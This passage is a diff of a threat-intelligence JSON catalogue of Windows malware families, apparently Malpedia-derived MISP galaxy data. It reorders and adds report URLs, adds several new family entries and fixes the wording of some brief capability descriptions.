"https://malpedia.caad.fkie.fraunhofer.de/details/win.shelllocker", @@ -41570,26 +43778,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.shifu", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.virusbulletin.com/virusbulletin/2015/11/shifu-rise-self-destructive-banking-trojan", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/", + "https://securityintelligence.com/shifu-masterful-new-banking-trojan-is-attacking-14-japanese-banks/", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "https://intel471.com/blog/a-brief-history-of-ta505", - "https://securityintelligence.com/shifu-masterful-new-banking-trojan-is-attacking-14-japanese-banks/", - "http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/", - "https://www.virusbulletin.com/virusbulletin/2015/11/shifu-rise-self-destructive-banking-trojan" + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "67d712c8-d254-4820-83fa-9a892b87923b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "6e668c0c-7085-4951-87d4-0334b6a5cdb3", "value": "Shifu" }, @@ -41598,8 +43797,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.shimrat", - "https://www.secureworks.com/research/threat-profiles/bronze-walker", - "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf" + "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-walker" ], "synonyms": [], "type": [] @@ -41612,8 +43811,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.shipshape", - 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"https://securityintelligence.com/shylocks-new-trick-evading-malware-researchers/" + "https://www.virusbulletin.com/virusbulletin/2015/02/paper-pluginer-caphaw", + "https://securityintelligence.com/merchant-of-fraud-returns-shylock-polymorphic-financial-malware-infections-on-the-rise/", + "https://www.zscaler.com/blogs/security-research/new-wave-win32caphaw-attacks-threatlabz-analysis", + "https://securityintelligence.com/shylocks-new-trick-evading-malware-researchers/", + "https://web.archive.org/web/20141016080249/http://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://malwarereversing.wordpress.com/2011/09/27/debugging-injected-code-with-ida-pro/", + "http://contagiodump.blogspot.com/2011/09/sept-21-greedy-shylock-financial.html" ], "synonyms": [ "Caphaw" @@ -41688,8 +43888,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewalk", "https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware", - "https://documents.trendmicro.com/assets/white_papers/wp-earth-baku-an-apt-group-targeting-indo-pacific-countries.pdf" + "https://documents.trendmicro.com/assets/white_papers/wp-earth-baku-an-apt-group-targeting-indo-pacific-countries.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware" ], "synonyms": [ "ScrambleCross" @@ -41704,15 +43904,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewinder", - "https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html", - "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", - "https://medium.com/@Sebdraven/apt-sidewinder-tricks-powershell-anti-forensics-and-execution-side-loading-5bc1a7e7c84c", + "https://www.secrss.com/articles/26507", "https://otx.alienvault.com/pulse/5fd10760f9afb730d37c4742/", "https://medium.com/@DCSO_CyTec/404-file-still-found-d52c3834084c", - "https://s.tencent.com/research/report/479.html", - "https://www.secrss.com/articles/26507", + "https://ti.qianxin.com/blog/articles/the-recent-rattlesnake-apt-organized-attacks-on-neighboring-countries-and-regions/", + "https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html", "https://s.tencent.com/research/report/659.html", - "https://ti.qianxin.com/blog/articles/the-recent-rattlesnake-apt-organized-attacks-on-neighboring-countries-and-regions/" + "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "https://medium.com/@Sebdraven/apt-sidewinder-tricks-powershell-anti-forensics-and-execution-side-loading-5bc1a7e7c84c", + "https://s.tencent.com/research/report/479.html" ], "synonyms": [], "type": [] @@ -41726,7 +43926,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_blue", "https://blogs.blackberry.com/en/2022/08/h0lygh0st-ransomware", - "https://www.microsoft.com/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/" + "https://www.microsoft.com/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/", + "https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF" ], "synonyms": [ "H0lyGh0st", @@ -41743,7 +43944,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_purple", "https://blogs.blackberry.com/en/2022/08/h0lygh0st-ransomware", - "https://www.microsoft.com/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/" + "https://www.microsoft.com/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/", + "https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF" ], "synonyms": [ "H0lyGh0st", @@ -41759,14 +43961,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sierras", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware", - "https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks", - "https://www.secureworks.com/research/threat-profiles/nickel-academy", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://app.box.com/s/xyyord0b806e6or2nh92coxw2areyyx4", "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group", - "https://www.us-cert.gov/ncas/alerts/TA14-353A" + "https://app.box.com/s/xyyord0b806e6or2nh92coxw2areyyx4", + "https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks", + "https://www.us-cert.gov/ncas/alerts/TA14-353A", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.secureworks.com/research/threat-profiles/nickel-academy", + "https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware" ], "synonyms": [ "Destover" @@ -41776,6 +43979,21 @@ "uuid": "da92c927-9b31-48aa-854a-8ed49a29565b", "value": "Sierra(Alfa,Bravo, ...)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.siesta_graph", + "https://www.elastic.co/de/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph", + "https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry", + "https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a4f4464a-a8d6-4244-af0a-4a8163ab9f47", + "value": "SiestaGraph" + }, { "description": "", "meta": { @@ -41788,6 +44006,19 @@ "uuid": "c12b3e30-32bf-4b7e-98f6-6a00e95553f8", "value": "Siggen6" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sigloader", + "https://www.lac.co.jp/lacwatch/report/20201201_002363.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "48bf4991-4743-404a-aac1-72855b30e225", + "value": "SigLoader" + }, { "description": "", "meta": { @@ -41802,41 +44033,52 @@ "value": "sihost" }, { - "description": "", + "description": "According to PCrisk, Truebot, also known as Silence.Downloader, is a malicious program that has botnet and loader/injector capabilities. This malware can add victims' devices to a botnet and cause chain system infections (i.e., download/install additional malicious programs/components).\r\n\r\nThere is significant variation in Truebot's infection chains and distribution. It is likely that the attackers using this malicious software will continue to make such changes.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.silence", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-004.pdf", "https://securelist.com/the-silence/83009/", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "http://www.intezer.com/silenceofthemoles/", + "https://github.com/Tera0017/TAFOF-Unpacker", + "https://norfolkinfosec.com/how-the-silence-downloader-has-evolved-over-time/", + "https://securityintelligence.com/posts/x-force-prevents-zero-day-from-going-anywhere", "https://reaqta.com/2019/01/silence-group-targeting-russian-banks/", "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", "https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf", - "https://github.com/Tera0017/TAFOF-Unpacker", - "https://www.youtube.com/watch?v=FttiysUZmDw", - "https://www.group-ib.com/resources/threat-research/silence.html", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-004.pdf", + "https://malware.love/malware_analysis/reverse_engineering/2023/03/31/analyzing-truebot-capabilities.html", + "https://malware.love/malware_analysis/reverse_engineering/2023/02/12/analyzing-truebot-packer.html", + "http://www.intezer.com/silenceofthemoles/", + "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", + "https://www.huntress.com/blog/investigating-intrusions-from-intriguing-exploits", + "https://malware.love/malware_analysis/reverse_engineering/2023/02/18/analyzing-truebot-static-unpacking.html", "https://norfolkinfosec.com/some-notes-on-the-silence-proxy/", - "https://norfolkinfosec.com/how-the-silence-downloader-has-evolved-over-time/" + "https://www.youtube.com/watch?v=FttiysUZmDw", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://www.group-ib.com/resources/threat-research/silence.html", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/" ], "synonyms": [ "TrueBot" ], "type": [] }, - "related": [ - { - "dest-uuid": "304fd753-c917-4008-8f85-81390c37a070", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "0df52c23-690b-4703-83f7-5befc38ab376", "value": "Silence" }, + { + "description": "According to Mandiant, SILENTUPLOADER is an uploader written in MSIL that is dropped by DOSTEALER and is designed to work specifically in tandem with it. It checks for files in a specified folder every 30 seconds and uploads them to a remote server.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.silentuploader", + "https://www.mandiant.com/media/17826" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3ed237f1-35b9-4e74-a37e-966bf023d136", + "value": "SILENTUPLOADER" + }, { "description": "", "meta": { @@ -41901,14 +44143,14 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sinowal", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://www.recordedfuture.com/turla-apt-infrastructure/", - "https://www.symantec.com/security_response/writeup.jsp?docid=2008-010718-3448-99&tabid=2", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf", "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", - "https://www.virusbulletin.com/virusbulletin/2014/06/sinowal-banking-trojan", + "https://en.wikipedia.org/wiki/Torpig", + "https://www.recordedfuture.com/turla-apt-infrastructure/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf", "https://www.welivesecurity.com/2013/03/13/how-theola-malware-uses-a-chrome-plugin-for-banking-fraud/", - "https://en.wikipedia.org/wiki/Torpig" + "https://www.virusbulletin.com/virusbulletin/2014/06/sinowal-banking-trojan", + "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", + "https://www.symantec.com/security_response/writeup.jsp?docid=2008-010718-3448-99&tabid=2" ], "synonyms": [ "Anserin", @@ -41928,8 +44170,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sisfader", "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/june/cve-2017-8750-rtf-and-the-sisfader-rat/", - "https://medium.com/@Sebdraven/gobelin-panda-against-the-bears-1f462d00e3a4" + "https://medium.com/@Sebdraven/gobelin-panda-against-the-bears-1f462d00e3a4", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/june/cve-2017-8750-rtf-and-the-sisfader-rat/" ], "synonyms": [], "type": [] @@ -41984,15 +44226,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.skipper", - "https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf", - "https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/", - "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", - "https://www.secureworks.com/research/threat-profiles/iron-hunter", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://blog.telsy.com/following-the-turlas-skipper-over-the-ocean-of-cyber-operations/", + "https://www.secureworks.com/research/threat-profiles/iron-hunter", + "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", + "https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/", + "https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf", "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender-Whitepaper-PAC-A4-en_EN1.pdf", - "https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/" + "https://blog.telsy.com/following-the-turlas-skipper-over-the-ocean-of-cyber-operations/" ], "synonyms": [ "Kotel" @@ -42014,6 +44256,19 @@ "uuid": "39002a0d-99aa-4568-b110-48f6df1759cd", "value": "Skyplex" }, + { + "description": "Ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.slam", + "https://www.sentinelone.com/blog/from-the-front-lines-slam-anatomy-of-a-publicly-available-ransomware-builder/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "400e437d-13b3-44d9-8f75-34f5e82d6c88", + "value": "Slam" + }, { "description": "", "meta": { @@ -42042,14 +44297,14 @@ "value": "SLICKSHOES" }, { - "description": "- 2012 first sighted\r\n- Attack vector via compromised Microtik routers where victim's got infection when they connect to Microtik router admin software - Winbox\r\n- 2018 when discovered by Kaspersky Team\r\n\r\nInfection Vector\r\n- Infected Microtik Router > Malicious DLL (IP4.dll) in Router > User connect via windbox > Malicious DLL downloaded on computer", + "description": "- 2012 first sighted\r\n- Attack vector via compromised Mikrotik routers where victims get infection when they connect to Mikrotik router admin software - Winbox\r\n- 2018 when discovered by Kaspersky Team\r\n\r\nInfection Vector\r\n- Infected Mikrotik Router > Malicious DLL (IP4.dll) in Router > User connect via winbox > Malicious DLL downloaded on computer", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.slingshot", "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", "https://securelist.com/apt-slingshot/84312/", - "https://s3-eu-west-1.amazonaws.com/khub-media/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf", - "https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/" + "https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/", + "https://s3-eu-west-1.amazonaws.com/khub-media/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf" ], "synonyms": [], "type": [] @@ -42058,17 +44313,23 @@ "value": "Slingshot" }, { - "description": "", + "description": "According to VK9 Seecurity, Sliver is a Command and Control (C2) system made for penetration testers, red teams, and advanced persistent threats. It generates implants (slivers) that can run on virtually every architecture out there, and securely manage these connections through a central server. Sliver supports multiple callback protocols including DNS, TCP, and HTTP(S) to make egress simple, even when those pesky blue teams block your domains. You can even have multiple operators (players) simultaneously commanding your sliver army.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sliver", - "https://github.com/BishopFox/sliver", - "https://www.ncsc.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf", - "https://www.telsy.com/download/5900/?uid=b797afdcfb", - "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/", - "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks", - "https://team-cymru.com/blog/2022/04/29/sliver-case-study-assessing-common-offensive-security-tools/" + "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://asec.ahnlab.com/en/47088/", + "https://www.ncsc.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf", + "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/", + "https://github.com/BishopFox/sliver", + "https://www.telsy.com/download/5900/?uid=b797afdcfb", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://github.com/chronicle/GCTI", + "https://team-cymru.com/blog/2022/04/29/sliver-case-study-assessing-common-offensive-security-tools/", + "https://www.team-cymru.com/post/sliver-case-study-assessing-common-offensive-security-tools", + "https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/" ], "synonyms": [], "type": [] @@ -42076,13 +44337,26 @@ "uuid": "654c478e-3c9a-4fd9-a9b7-dd6839f51147", "value": "Sliver" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.slnrat", + "https://asec.ahnlab.com/ko/37764/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "68bb36d3-d078-483d-b559-e0d8da5f45fe", + "value": "slnrat" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.slothfulmedia", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", - "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/" + "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a" ], "synonyms": [ "QueenOfClubs" @@ -42099,9 +44373,9 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.slub", "https://www.trendmicro.com/en_us/research/20/j/operation-earth-kitsune-a-dance-of-two-new-backdoors.html", "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-LunghiHorejsi.pdf", - "https://www.trendmicro.com/en_us/research/20/l/who-is-the-threat-actor-behind-operation-earth-kitsune-.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/new-slub-backdoor-uses-github-communicates-via-slack/", - "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-kitsune.pdf" + "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-kitsune.pdf", + "https://www.trendmicro.com/en_us/research/20/l/who-is-the-threat-actor-behind-operation-earth-kitsune-.html" ], "synonyms": [], "type": [] @@ -42114,8 +44388,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.smac", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-express" + "https://www.secureworks.com/research/threat-profiles/bronze-express", + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf" ], "synonyms": [ "speccom" @@ -42143,18 +44417,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://blog.vincss.net/2020/12/re018-2-analyzing-new-malware-of-china-panda-hacker-group-used-to-attack-supply-chain-against-vietnam-government-certification-authority.html?m=1", - "https://blog.vincss.net/2020/12/re017-2-phan-tich-ky-thuat-dong-ma-doc-moi-co-nhieu-dau-hieu-lien-quan-toi-nhom-tin-tac-Panda.html", - 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"https://www.mandiant.com/resources/burrowing-your-way-into-vpns", "https://www.mandiant.com/resources/darkside-affiliate-supply-chain-software-compromise", + "https://www.mandiant.com/resources/burrowing-your-way-into-vpns", "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html" ], "synonyms": [], @@ -42212,71 +44486,77 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.cert.pl/en/news/single/dissecting-smoke-loader/", - "https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/", - "https://m.alvar.es/2020/06/comparative-analysis-between-bindiff.html", - "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", - "https://x0r19x91.in/malware-analysis/smokeloader/", - "http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html", - 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"http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/", - "https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators" + "https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators", + "http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/" ], "synonyms": [ "Ismo" @@ -42337,31 +44617,31 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.snake", - "https://github.com/albertzsigovits/malware-notes/blob/master/Snake.md", + "https://insights.sei.cmu.edu/cert/2020/03/snake-ransomware-analysis-updates.html", "https://www.dragos.com/blog/industry-news/ekans-ransomware-misconceptions-and-misunderstandings/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", + "https://twitter.com/bad_packets/status/1270957214300135426", + "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", + "https://krebsonsecurity.com/2020/05/europes-largest-private-hospital-operator-fresenius-hit-by-ransomware", + "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", + "https://ics-cert.kaspersky.com/alerts/2020/06/17/targeted-attacks-on-industrial-companies-using-snake-ransomware/", + "https://www.bleepingcomputer.com/news/security/honda-investigates-possible-ransomware-attack-networks-impacted/", + "https://www.ccn-cert.cni.es/pdf/5045-ccn-cert-id-15-20-snake-locker-english-1/file.html", + "https://www.fortinet.com/blog/threat-research/ekans-ransomware-targeting-ot-ics-systems", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/", + "https://www.goggleheadedhacker.com/blog/post/22", + "https://twitter.com/milkr3am/status/1270019326976786432", + "https://blog.malwarebytes.com/threat-analysis/2020/06/honda-and-enel-impacted-by-cyber-attack-suspected-to-be-ransomware/", + "https://hub.dragos.com/hubfs/Whitepaper-Downloads/Dragos_Manufacturing%20Threat%20Perspective_1120.pdf", "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", "https://medium.com/@nishanmaharjan17/malware-analysis-snake-ransomware-a0e66f487017", "https://www.0ffset.net/reverse-engineering/analysing-snake-ransomware/", - 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"https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-solarmarker" + "https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1/", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-solarmarker", + "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise" ], "synonyms": [ "Jupyter", @@ -42686,6 +44965,19 @@ "uuid": "2b2cffc5-bf6e-4636-a906-829c32115655", "value": "SombRAT" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.somnia", + "https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65" + ], + "synonyms": [], + "type": [] + }, + "uuid": "907ed2ce-5407-4e4d-9b1a-596d5489b008", + "value": "Somnia" + }, { "description": "", "meta": { @@ -42719,9 +45011,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sorefang", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a", + "https://securelist.com/apt-trends-report-q3-2020/99204/", "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf", - "https://securelist.com/apt-trends-report-q3-2020/99204/" + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a" ], "synonyms": [], "type": [] @@ -42734,8 +45026,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sorgu", - "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east", + "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" ], "synonyms": [], "type": [] @@ -42748,7 +45040,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.soul", - "https://www.fortinet.com/blog/threat-research/unraveling-the-evolution-of-the-soul-searcher-malware" + "https://www.fortinet.com/blog/threat-research/unraveling-the-evolution-of-the-soul-searcher-malware", + "https://research.checkpoint.com/2023/pandas-with-a-soul-chinese-espionage-attacks-against-southeast-asian-government-entities/" ], "synonyms": [ "SoulSearcher" @@ -42763,15 +45056,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbite", - "https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx", - "https://mp.weixin.qq.com/s/xPsEXp2J5IE7wNSMEVC24A", - "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-1/", "https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf", - "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/", - "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", "https://attack.mitre.org/wiki/Software/S0157", "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", - "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection" + "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/", + "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-1/", + "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", + "https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx", + "https://mp.weixin.qq.com/s/xPsEXp2J5IE7wNSMEVC24A", + 